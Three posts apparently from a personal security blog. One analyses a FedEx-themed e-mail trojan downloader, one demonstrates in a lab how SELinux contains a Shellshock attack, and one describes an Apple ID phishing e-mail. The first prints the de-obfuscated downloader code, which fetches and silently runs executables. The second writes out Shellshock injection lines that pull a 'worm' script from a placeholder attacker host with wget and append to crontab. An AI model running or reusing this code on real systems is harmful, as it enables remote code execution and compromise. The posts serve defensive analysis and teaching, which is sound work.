E-mail Trojan Downloader: FedEx scam
Thursday, December 18. 2014
Today I got en e-mail from "FedEx" with subject Unable to deliver your item, #000203546. How nice of them! I hadn't ordered anything and wasn't expecting a shipment to arrive. Closer inspection of the e-mail revealed, that it contais a .zip-file and the zip-file contained a single document with extension .doc.js. An obvious scam!
Origins of the e-mail directed to Brazil, where somebody is running a Windows Server 2003 and SMTP-service enabled in it. Apparently, it is mis-configured, or couple of critical security patches weren't installed in time, as now the box is heavily compromised. The specific e-mail address they wanted to reach me is dedicated to domains I own. They are on public record anyway, so somebody could picked up my contact info from any of the domains I have.
The JavaScript-file from zip-file was heavily obfuscated, but in human-readable format it contained something like this:
gvar a1 = '';
function msjk() {
a1 += 'ave';
rus();
};function phqe() {
a1 += 'cume';
tzly();
};
...
function jfn() {
eval(a1);
};
...
function lkgj() {
a1 += '9.e';
xnk();
};
vi();
When all those functions are executed to the point of eval(), the de-obfuscated code is something like this:
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange =
function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
}
catch (er) {};
};
dl(...);
dl(...);
dl(...);
So, it liked to download and execute 3 files on my computer. However, the code is heavily Internet Explorer -specific and it didn't much work on my Firefox.
The 3 payloads in question download as 1135.jpg, 3711.jpg and 650.jpg, but the JavaScript code will save them as .exe-files. The compromised server where the payload-files are downloaded from is in New Jersey, USA. It is an IIS web server running an application made with .Net. At the time of writing this, the trojan payloads were still being delivered at the address.
The application at payload deployment site has even counter-measures built into it. When I tried downloading the payloads with a wget, it delivered 0 bytes. To get past the check a simple:
wget --user-agent="Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
will work.
All of the payloads are known malware, and when my Windows-box saw them over a network share, it didn't like them and informed me that I have a virus in my computer.
Anyway, as a conclusion the trojan downloader is targeting gullible persons running a version of IE. My virus protection already knew of the downloader, so it isn't much of a threat. Also, this is yet another proof of the importance of server security. The bad news for rest of us is, that those guys need only one badly administered box and they can taint the entire Internet.
SElinux and Shellshock
Sunday, December 14. 2014
The fallout from Shellshock seems to be over, but I ended up in a conversation about SElinux. So, this post is a follow-up on my Helsinki Security Meetup -post about SElinux.
Part 1: Enabling Shellshock
At this point, a flawed Bash isn't available without an intentional downgrade. First check the current version on my CentOS 7:
# rpm -q bash
bash-4.2.45-5.el7_0.4.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Then do a downgrade (it's amusing how downgrade is done via an upgrade command):
rpm --upgrade -h --oldpackage \
ftp://ftp.sunet.se/pub/Linux/distributions/centos/7.0.1406/os/x86_64/Packages/bash-4.2.45-5.el7.x86_64.rpm
Then check the version to make sure:
# rpm -q bash
bash-4.2.45-5.el7.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Somebody really dropped the ball there. It is impossible to determine if shellshock has been fixed or not. The version of Bash won't change! Anyway, the RPM-version tells the truth.
Part 2: The Setup
To act responsibly, I won't show how you can pop the cork of somebody's server. Instead, I created a demo application of my own which contains code similar to known flaws which allow Shellshock to do its dirty deeds.
The basic idea of my demo is to create a TCP-socket -based application to display current date and time on chosen locale. Full C-source code for date_daemon.c is available. From security perspective my code isn't that bad. This time (see the previous SElinux post), it doesn't allow you to run any command you like, but it runs date-comand from bash without any parameters. The part where I mess up, is that I don't sanitize or check the user input. To allow Shellshock to kick in, I'll set the un-sanitized user input into an environment variable LANG. If any sensible locale is entered, it will display the current date and time in the given format.
Example:
Hello there!
Get date at my box by entering your LANG preference and <enter>:
fi_FI
to 13.11.2014 02.43.10 +0200
From SElinux-perspective, I chose to emulate DHCPd-behaviour. There would have been other choices, but ... this time I went this way for a no particular reason. The source code can be compiled with a simple: gcc date_daemon.c -o date_daemon
Then to allow SElinux to kick in a shell-script and specific file-contexts are required. The start script (start.date_daemon.sh) is a very simple:
#!/bin/bash
exec ./date_daemon
Then change the file contexts:
chcon -t dhcpd_exec_t date_daemon
chcon -t initrc_exec_t start.date_daemon.sh
And confirm the result, that everything is set correctly from SElinux-perspective:
# ls -Z
-rwxr-xr-x. root root unconfined_u:object_r:dhcpd_exec_t:s0 date_daemon
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 date_daemon.c
-rwxr--r--. root root unconfined_u:object_r:initrc_exec_t:s0 start.date_daemon.sh
One last thing is that an Enforcing DHCPd cannot bind to any TCP-port you want. As I used TCP/8282, it needs to be allowed:
semanage port --add -t dhcpd_port_t -p tcp 8282
Then it is possible to run the leaky daemon: ./shellshock_test.sh
Finally, we'll confirm, that the process is running in DHCPd-context (in my case, the PID for the process is 25964):
# ps -Z 25964
LABEL PID TTY STAT TIME COMMAND
unconfined_u:system_r:dhcpd_t:s0 25964 ? S 0:00 ./date_daemon
Remember to make sure, that SElinux is in enforcing-mode. If it isn't it would be the same thing as running without SElinux:
# getenforce
Enforcing
All ok this far, let's move on for the good stuff.
Part 3: The Attack
Now that the sample daemon is running and SElinux is in enforcing-mode, let's run a sample attack on it. The set of commands I made up for this purpose is as follows:
- Get shellshock'd:
() { :;}; - Change into a target directory:
cd /bin ; - Create a temporary shell script injector.sh:
- rm nasty.worm.sh ;
- wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ;
- rm injector.sh ;
- bash nasty.worm.sh
- Run the injector-script:
bash injector.sh
The particular nasty worm in this example is a shell-script:
#!/bin/bash
now=$(date)
echo "$now: Your box is pwned!"
echo "$now: Your box is pwned!" >> /tmp/pwn.log
echo "# $now: Your box is pwned!" >> /etc/crontab
It won't do much harm. It simply gets the current date and time into a variable and prints it to standard output, into a log file and finally it modifies crontab-file to simulate a worm keeping itself alive.
Try injecting a new command into /bin/ (notice, the command in bold is a single line):
$ telnet localhost 8282
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Hello there!
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh/bin/bash: injector.sh: Permission denied
bash: injector.sh: No such file or directory
Connection closed by foreign host.
Notice how it will fail on injecting.
Let's try something else. This is a typical comment that I get a lot: "but it can write into /tmp/!". Sure it can, let's try that:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /tmp ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:01:35 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:01:35 EET 2014: Your box is pwned!
nasty.worm.sh: line 6: /etc/crontab: Permission denied
Connection closed by foreign host.
Nice, this time it actually did something. wget ran ok and it actually attempted to inject something. But the fact remains: it still runs with DHCPd-context which means it cannot do much. See:
# ls -Z /tmp/
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 pwn.log
Even the newly created files are in DHCPd tmp -context, they won't do much harm there.
Part 4: Let's Play what-if, Permissive SElinux
Permissive, Disabled or no SElinux at all will result in something else. Let's weaken the security first:
# setenforce Permissive
# getenforce
Permissive
Like this:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://blog.hqcodeshop.fi/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:02:30 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Connection closed by foreign host.
Yes, you'll have a brand new command sitting in /bin/:
# ls -Z /bin/nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:bin_t:s0 /bin/nasty.worm.sh
Also your crontab will have a nice new row:
# cat /etc/crontab
...
# Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Not cool!
Part 5: Wrap-up
See: SElinux protects you even if you have software security failing.
Learn it! Love it! :-)
Apple ID Scam
Sunday, December 7. 2014
Looks like somebody at Moldova was following The Fappening, and is getting bright ideas. I got an e-mail like this into one of my honeypot-addresses:
The fake e-mail goes like this:
Subject: Your apple id has been disabled 05/12/2014 09:44:30
Dear Customer;
We need to ask you to complete a short and brief step to securing and validating your account information.
https://appleid.apple.com
Failure to complete our validation process will result in a suspension of your Apple ID.
We take every step needed to automatically validate our users; unfortunately in your case we were unable to. The process only takes a couple of minutes and will make sure there is no interruption to your account.
I wasn't much surprised by that, becuse I don't use that account for anything serious (like Apple ID). I checked the link before clicking, obviously it wasn't to apple.com, but to a hijacked site located at Moldova. Somebody innocent was running an unpatched WordPress, and the crooks added some "bonus" content to the site. the HTML said: <meta name="generator" content="WordPress 3.5.1" />. The "apple ID" site looked pretty good (except, no HTTPS and that the address bar didn't match):
At the time of publishing this post, the victim-site has been pulled off the air, so there is no point in going there anymore.
Anyway, this is a yet another proof to be careful out there. In the Internet, most things aren't what they seem.